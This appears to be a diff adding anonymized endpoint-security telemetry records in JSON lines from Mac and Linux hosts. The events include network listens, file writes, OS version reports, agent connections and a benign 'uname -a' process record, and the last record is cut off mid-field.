+{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"}
+{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"}
+{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"}
+{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"}
+{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"}
+{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"}
+{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"}
+{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"}
+{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"}
+{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"}
+{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"}
+{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"}
+{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"}
+{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"}
+{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"